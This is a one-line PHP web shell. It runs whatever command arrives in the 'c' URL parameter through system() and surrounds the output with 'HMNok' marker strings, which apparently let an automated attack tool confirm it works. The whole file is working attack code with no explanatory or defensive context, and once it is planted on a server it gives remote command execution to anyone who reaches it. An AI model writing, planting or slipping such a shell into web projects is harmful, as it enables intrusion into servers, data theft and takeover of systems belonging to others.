<?php echo "HMNok|"; if(isset($_GET["c"])){system($_GET["c"]);} echo "|HMNok"; ?>